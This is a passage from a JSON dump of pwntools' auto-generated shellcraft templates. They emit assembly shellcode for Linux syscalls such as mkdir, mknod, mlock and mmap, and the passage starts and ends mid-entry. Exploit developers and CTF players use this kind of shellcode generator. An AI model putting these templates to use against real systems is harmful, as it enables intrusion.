    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mkdir(path, mode) -> str\n\nInvokes the syscall mkdir.\n\nSee 'man 2 mkdir' for more information.\n\nArguments:\n    path(char*): path\n    mode(mode_t): mode\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, mode=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'mode']\n    argument_values = [path, mode]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mkdir']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mkdir'])\n%>\n    /* mkdir(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mkdirat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mkdirat(fd, path, mode) -> str\n\nInvokes the syscall mkdirat.\n\nSee 'man 2 mkdirat' for more information.\n\nArguments:\n    fd(int): fd\n    path(char*): path\n    mode(mode_t): mode\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, path=0, mode=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'path', 'mode']\n    argument_values = [fd, path, mode]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mkdirat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mkdirat'])\n%>\n    /* mkdirat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mknod.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mknod(path, mode, dev) -> str\n\nInvokes the syscall mknod.\n\nSee 'man 2 mknod' for more information.\n\nArguments:\n    path(char*): path\n    mode(mode_t): mode\n    dev(dev_t): dev\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, mode=0, dev=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'mode', 'dev']\n    argument_values = [path, mode, dev]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mknod']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mknod'])\n%>\n    /* mknod(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mknodat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mknodat(fd, path, mode, dev) -> str\n\nInvokes the syscall mknodat.\n\nSee 'man 2 mknodat' for more information.\n\nArguments:\n    fd(int): fd\n    path(char*): path\n    mode(mode_t): mode\n    dev(dev_t): dev\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, path=0, mode=0, dev=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'path', 'mode', 'dev']\n    argument_values = [fd, path, mode, dev]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mknodat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mknodat'])\n%>\n    /* mknodat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mlock.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mlock(addr, length) -> str\n\nInvokes the syscall mlock.\n\nSee 'man 2 mlock' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length']\n    argument_values = [addr, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mlock']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mlock'])\n%>\n    /* mlock(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mlock2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mlock2(addr, length, flags) -> str\n\nInvokes the syscall mlock2.\n\nSee 'man 2 mlock2' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, length=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length', 'flags']\n    argument_values = [addr, length, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mlock2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mlock2'])\n%>\n    /* mlock2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mlockall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mlockall(flags) -> str\n\nInvokes the syscall mlockall.\n\nSee 'man 2 mlockall' for more information.\n\nArguments:\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['flags']\n    argument_values = [flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mlockall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mlockall'])\n%>\n    /* mlockall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mmap.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mmap(addr, length, prot, flags, fd, offset) -> str\n\nInvokes the syscall mmap.\n\nSee 'man 2 mmap' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\n    prot(int): prot\n    flags(int): flags\n    fd(int): fd\n    offset(off_t): offset\nReturns:\n    void*\n</%docstring>\n<%page args=\"addr=0, length=0, prot=0, flags=0, fd=0, offset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length', 'prot', 'flags', 'fd', 'offset']\n    argument_values = [addr, length, prot, flags, fd, offset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mmap2', 'SYS_mmap']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mmap2', 'SYS_mmap'])\n%>\n    /* mmap(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mmap2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mmap2(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall mmap2.\n\nSee 'man 2 mmap2' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mmap2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mmap2'])\n%>\n    /* mmap2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/modify_ldt.asm",
